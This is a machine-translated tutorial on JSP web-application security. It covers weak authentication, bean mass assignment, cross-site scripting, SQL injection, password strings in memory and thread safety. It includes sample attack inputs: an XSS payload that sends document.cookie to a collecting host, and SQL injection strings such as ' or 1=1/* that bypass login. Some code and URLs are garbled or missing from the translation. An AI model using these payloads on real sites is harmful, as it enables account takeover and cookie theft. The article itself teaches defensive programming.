The security of JSP from the point of view of script programming

Source: Internet
Author: User
Tags add garbage collection variables string sql injection stmt variable thread
JSP as the building of Dynamic Web page technology is constantly heating up. JSP and ASP, PHP, working mechanism is not the same. In general, JSP pages are compiled, not interpreted, as they are executed. The first call to the JSP file is actually a process that compiles to a servlet. When the browser requests this JSP file from the server, the server will check whether the JSP file has changed since the last compilation, and if it does not change, execute the servlet directly without recompiling, thus the efficiency will be significantly improved.

Today I will be with you from a scripting point of view of the security of JSP, those such as source exposure classes of security risks are not covered in this article. The main purpose of writing this article is to beginners JSP programming friends to mention a wake up, from the beginning to cultivate the awareness of security programming, do not make mistakes, avoid the loss can be avoided. In addition, I am also a beginner, if there are errors or other comments please post enlighten.

First, not strict certification-low error

In the v1.12 version of the Overflow forum,

User_manager.jsp is a user-managed page, and the author knows its sensitivity, plus a lock:

if ((Session.getvalue ("UserName") ==null) ││
(Session.getvalue ("UserClass") ==null) ││
(! Session.getvalue ("UserClass"). Equals ("system Administrator")) {
Response.sendredirect ("err.jsp?id=14");

If you want to view, modify a user's information, you need to use modifyuser_manager.jsp this file. Admin Submit is to view and modify the User ID 51 (the Administrator default User ID is 51). However, such an important document is lack of certification, ordinary users (including tourists) also directly submitted to the above request can also be at a glance (the password is also stored in clear text, display). Modifyuser_manage.jsp is also open to the portal until a malicious user completes the operation of the data update and redirects to user_manager.jsp to see the belated display of the wrong page. Obviously, only lock a door is not enough, programming time must take pains to each of the additional identity certification of the place plus identity authentication.

Second, keep a good javabean entrance

The core of the JSP component technology is the Java component called the Bean. Logic control, database operations in the program can be placed in the JavaBeans component, and then called in the JSP file, which can increase the clarity of the program and the reusability of the program. JSP pages are very concise compared to traditional ASP or PHP pages, as many dynamic page processing processes can be encapsulated into JavaBean.

To change the JavaBean property, use the tag.

The following code is part of a hypothetical electronic shopping system's source code, which is used to display information in the user's shopping box, and checkout.jsp is used for checkout.

You have added the item

to your basket.

Your Total is $

Proceed to Checkout

Did you notice the property= "*"? This indicates that the value of the entire variable that the user entered in the visible JSP page or submitted directly through query string is stored in the matching bean property.

Typically, a user submits a request like this:

But what about the unruly users? They may submit:


In this way, the balance=0 information is stored in the JavaBean. When they click on the "Chekout" checkout, the cost is free.

This is the same as the security problems caused by global variables in PHP. This shows: "property=" * "must be used with caution!"

Three, the prosperous Cross station script

Cross-station scripting (Cross Site scripting) attack refers to the insertion of malicious JavaScript, VBScript, ActiveX, HTML, or flash scripts in the HTML code of a remote Web page, stealing the privacy of users browsing this page, Change the user's settings and destroy the user's data. Cross-site scripting attacks, in most cases, do not affect the operation of servers and web programs, but pose a serious threat to the security of clients.

Take the simplest example of the Beta-1 forum, an imitation network. When we submit<; Script>alert (Document.cookie)

You can pop up a dialog box that contains your own cookie information. and submitted<; script>document.location= ' '

You can redirect to NetEase.

Because the script does not encode or filter malicious code when the value of the "name" variable is returned to the client, when the user accesses the embedded malicious "name" variable data link, the script code is executed on the user's browser, which can result in user privacy disclosure. For example, the following links:<; Script>document.location= ' ' +document.cookie

XXX.XXX is used to collect the following parameters, where the parameter specifies the Document.cookie, which is the cookie of the user accessing the link. In the ASP world, many people have been practicing the technology of stealing cookies to perfection. In the JSP, reading cookies is not difficult. Of course, cross-site scripting has never been limited to the function of stealing cookies, I believe we all have a certain understanding, here will not unfold.

The input and output of all dynamic pages should be encoded to a large extent to avoid cross-site scripting attacks. Unfortunately, coding for all of the data that is not reliable is resource intensive and has a performance impact on the WEB server. The usual method is to filter the input data, such as the following code to replace the dangerous characters:

public boolean isvalidinput (String str)
if (Str.matches ("[a-z0-9]+")) return true;
else return false;

Four, always remember that SQL injection

General programming books teach beginners not to be aware of the habit of developing safe programming when they get started. The famous "JSP programming thought and practice" is this kind of demonstration to the beginner to write with the database login system (database for MySQL):

Statement stmt = Conn.createstatement ();
String checkUser = "SELECT * FROM login where username = ' + username +" '
and UserPassword = ' "+ UserPassword +" ' ";
ResultSet rs = stmt.executequery (CheckUser);
if ( ())
Response.sendredirect ("successlogin.jsp");
Response.sendredirect ("failurelogin.jsp");

This makes the people who do the book long-term use such a congenital "hole" login code. If there is a user named "Jack" in the database, there are at least several ways to log in without knowing the password:

User name: Jack
Password: ' or ' a ' = ' a '
User name: Jack
Password: ' or 1=1/*
User name: Jack ' or 1=1/*
Password: (any)

Lybbs (Lingyun forum) ver 2.9.Server in the is the way to check the data submitted by the login:

if (S.equals ("") ││s1.equals (""))
throw new Userexception ("User name or password cannot be empty. ");
if (S.indexof ("")!= -1││s.indexof ("\")!= -1││
S.indexof (",")!= -1││s.indexof ("\")!=-1)
throw new Userexception ("User name cannot include ' \" \ \ \ \ \ \ n) illegal characters. ");
if (S1.indexof ("")!= -1││s1.indexof ("\")!= -1││
S1.indexof ("*")!= -1││s1.indexof ("\")!=-1)
throw new Userexception ("password cannot include" \ "\") illegal characters. ");
if (S.startswith ("") ││s1.startswith (""))
throw new Userexception ("Cannot use a space in a username or password.") ");

But I don't know why he just filtered the asterisk for the password and not the username. In addition, the forward slash appears to be listed in the blacklist. I still think that using regular expressions only allows you to enter characters within a specified range.

Here's a reminder: Do not assume that you can effectively withstand all attacks by virtue of the inherent "security" of some database systems. Pinkeyes's PHP Injection instance gives a lesson to those who rely on the "MAGIC_QUOTES_GPC = on" In the PHP configuration file.

V. Pitfalls of String objects

The Java platform does make secure programming more convenient. There is no pointer in Java, which means that the Java program no longer addresses any memory location in the address space as C does. Security issues are checked when a JSP file is compiled into a. class file, such as when an attempt to access an array element that exceeds the size of an array is denied, which largely avoids a buffer overflow attack. However, a string object can pose some security risks to us. If the password is stored in a Java String object, the password stays in memory until it is garbage collected or the process terminates. Even with garbage collection, it still exists in the free memory heap until the memory space is reused. The longer the password String resides in memory, the greater the risk of being tapped. Worse, if the actual memory is reduced, the operating system dispatches this password String to swap space on the disk, and is therefore vulnerable to disk block eavesdropping attacks. To minimize (but not eliminate) the possibility of this leak, you should store the password in a char array and place 0 on it after use (a String is immutable and cannot be placed 0).

Vi. A preliminary study of thread safety

"Java can do, JSP can do." Unlike scripting languages such as ASP and PHP, JSP is implemented by default in multi-threaded mode. Multi-threaded implementation can greatly reduce the resource requirements of the system, improve the system's concurrent volume and response time. Threads are separate, concurrent execution paths in a program, each thread has its own stack, its own program counter, and its own local variables. Although most operations in a multithreaded application can be done in parallel, there are certain actions, such as updating global flags or processing shared files, that cannot be done in parallel. If the thread is not synchronized, in large concurrent volume access, do not need the malicious user's "enthusiastic participation", the problem will arise. The simplest solution is to add a directive to the relevant JSP file to perform it in a single-threaded manner, at which point all client requests are executed serially. This can severely degrade the system's performance. We can still allow JSP files to be executed in a multi-threaded manner, by locking the function to synchronize the thread. A function, plus the Synchronized keyword, gets a lock. Look at the following example:

public class myclass{
int A;
Public Init () {//This method can be invoked concurrently by multiple threads
A = 0;
Public synchronized void Set () {//Two threads cannot call this method at the same time
if (a>5) {
A= a-5;

However, this will still have a certain impact on the performance of the system. A better solution is to use local variables instead of instance variables. Because instance variables are allocated in the heap, are shared by all threads belonging to the instance, not thread-safe, and local variables are allocated on the stack, because each thread has its own stack space, so the thread is safe. such as Lingyun forum to add friends code:

public void addfriend (int i, string s, string s1)
Throws Dbconnectexception
If ...
Dbconnect dbconnect = new Dbconnect ("INSERT INTO friend (Authorid,friendname) VALUES (?,?)");
Dbconnect.setint (1, i);
Dbconnect.setstring (2, s);
Dbconnect.executeupdate ();
Dbconnect.close ();
Dbconnect = null;
catch (Exception Exception)
throw new Dbconnectexception (Exception.getmessage ());

Here is the call:

Friendname=parameterutils.getstring (Request, "Friendname");
if (Action.equals ("AddUser")) {
Forumfriend.addfriend (Integer.parseint (Cookieid), friendname,cookiename);
Errorinfo=forumfriend.geterrorinfo ();

If you are using an instance variable, then the instance variable belongs to all thread shares of the instance, and it is possible that the user a passed a parameter to his thread to sleep, while the parameter is inadvertently modified by User B, causing the friend mismatch phenomenon.

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.